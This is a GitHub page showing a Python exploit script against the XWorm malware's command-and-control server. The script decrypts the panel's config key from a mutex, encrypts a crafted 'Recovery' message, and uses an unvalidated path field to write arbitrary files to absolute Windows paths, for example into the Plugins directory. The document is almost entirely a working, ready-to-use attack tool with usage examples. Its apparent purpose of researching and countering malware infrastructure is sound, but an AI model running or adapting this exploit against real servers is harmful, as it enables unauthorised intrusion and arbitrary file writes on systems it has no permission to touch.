-
Notifications
You must be signed in to change notification settings - Fork 1
Expand file tree
/
Copy pathexploit.py
More file actions
163 lines (131 loc) · 5.52 KB
/
Copy pathexploit.py
File metadata and controls
163 lines (131 loc) · 5.52 KB
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
132
133
134
135
136
137
138
139
140
141
142
143
144
145
146
147
148
149
150
151
152
153
154
155
156
157
158
159
160
161
162
163
#!/usr/bin/env python3
"""
XWorm C2 Absolute Path Traversal Exploit
Exploits Recovery message handler (Messages.cs:577) which has ZERO validation
on the HWID parameter. Uses absolute paths to write to arbitrary directories.
LIMITATION: Extensions hardcoded to .txt
"""
import socket
import base64
import hashlib
import time
import argparse
import sys
from Crypto.Cipher import AES
from Crypto.Util.Padding import pad, unpad
class XWormExploit:
# Recovery message types (determines extension)
RECOVERY_TYPES = {
0: {'name': 'FileZilla', 'ext': 'txt'},
1: {'name': 'WifiKeys', 'ext': 'txt'},
2: {'name': 'Discord', 'ext': 'txt'},
3: {'name': 'ProductKey', 'ext': 'txt'}
}
def __init__(self, c2_host, c2_port, key_b64, spl_b64, mutex):
self.c2_host = c2_host
self.c2_port = c2_port
self.key = self._decrypt_config(key_b64, mutex)
self.spl = self._decrypt_config(spl_b64, mutex)
self.aes_key = hashlib.md5(self.key.encode('utf-8')).digest()
def _decrypt_config(self, encrypted_b64, mutex):
md5_hash = hashlib.md5(mutex.encode('utf-8')).digest()
key = bytearray(32)
key[0:16] = md5_hash
key[15:31] = md5_hash
cipher = AES.new(bytes(key), AES.MODE_ECB)
encrypted = base64.b64decode(encrypted_b64)
decrypted = cipher.decrypt(encrypted)
return unpad(decrypted, AES.block_size).decode('utf-8')
def _aes_encrypt(self, data):
cipher = AES.new(self.aes_key, AES.MODE_ECB)
return cipher.encrypt(pad(data, AES.block_size))
def _send_message(self, sock, message):
encrypted = self._aes_encrypt(message.encode('utf-8'))
length_str = f"{len(encrypted)}\x00".encode('utf-8')
sock.sendall(length_str)
sock.sendall(encrypted)
def exploit(self, target_path, recovery_type=0, payload=None):
"""
Write file to arbitrary absolute path via Recovery message
Args:
target_path: Absolute Windows path (e.g., C:\\Target)
recovery_type: Recovery type 0-3 (all write .txt files)
payload: Content to write
Result:
File written to: <target_path>\\Recovery\\<name>_<timestamp>.txt
"""
if not payload:
payload = f"XWorm Path Traversal PoC - {time.ctime()}"
if recovery_type not in self.RECOVERY_TYPES:
print(f"[-] Invalid type. Valid: {list(self.RECOVERY_TYPES.keys())}")
return False
type_info = self.RECOVERY_TYPES[recovery_type]
# Validate absolute path format
target_path = target_path.replace('/', '\\')
if not (len(target_path) >= 3 and target_path[1:3] == ':\\'):
print(f"[-] Path must be absolute (e.g., C:\\Target)")
return False
final_path = f"{target_path}\\Recovery\\{type_info['name']}_<timestamp>.{type_info['ext']}"
message = f"Recovery{self.spl}{target_path}{self.spl}{recovery_type}{self.spl}{payload}"
try:
sock = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
sock.settimeout(5)
sock.connect((self.c2_host, self.c2_port))
self._send_message(sock, message)
time.sleep(1)
sock.close()
print(f"[+] Payload sent ({len(payload)} bytes)")
print(f"[*] Type: {recovery_type} ({type_info['name']}.{type_info['ext']})")
print(f"[*] File written to: {final_path}")
return True
except Exception as e:
print(f"[-] Failed: {e}")
return False
def main():
parser = argparse.ArgumentParser(
description="XWorm C2 Absolute Path Traversal Exploit",
formatter_class=argparse.RawDescriptionHelpFormatter,
epilog="""
Examples:
# Test vulnerability
%(prog)s 192.168.1.100 5555 C:\\Test --key <b64> --spl <b64> --mutex <str>
# Write to Plugins directory
%(prog)s 192.168.1.100 5555 C:\\XWorm\\Plugins --key <b64> --spl <b64> --mutex <str>
# Custom payload
%(prog)s 192.168.1.100 5555 C:\\Target --key <b64> --spl <b64> --mutex <str> --payload evil.txt
Recovery Types (all write .txt):
0 = FileZilla_<timestamp>.txt
1 = WifiKeys_<timestamp>.txt
2 = Discord_<timestamp>.txt
3 = ProductKey_<timestamp>.txt
"""
)
parser.add_argument('host', help='C2 IP/hostname')
parser.add_argument('port', type=int, help='C2 port')
parser.add_argument('path', help='Absolute Windows path (e.g., C:\\Target)')
parser.add_argument('--key', required=True, help='AES key (base64)')
parser.add_argument('--spl', required=True, help='Separator (base64)')
parser.add_argument('--mutex', required=True, help='Mutex string')
parser.add_argument('--type', type=int, default=0, help='Recovery type (default: 0)')
parser.add_argument('--payload', help='Payload file path')
args = parser.parse_args()
print("=" * 70)
print("[*] XWorm C2 Absolute Path Traversal Exploit")
print("=" * 70)
print(f"[*] Target: {args.host}:{args.port}")
print(f"[*] Path: {args.path}")
exploit = XWormExploit(args.host, args.port, args.key, args.spl, args.mutex)
payload_content = None
if args.payload:
try:
with open(args.payload, 'r') as f:
payload_content = f.read()
except Exception as e:
print(f"[-] Failed to read payload: {e}")
sys.exit(1)
print("=" * 70)
success = exploit.exploit(args.path, args.type, payload_content)
print("=" * 70)
sys.exit(0 if success else 1)
if __name__ == "__main__":
main()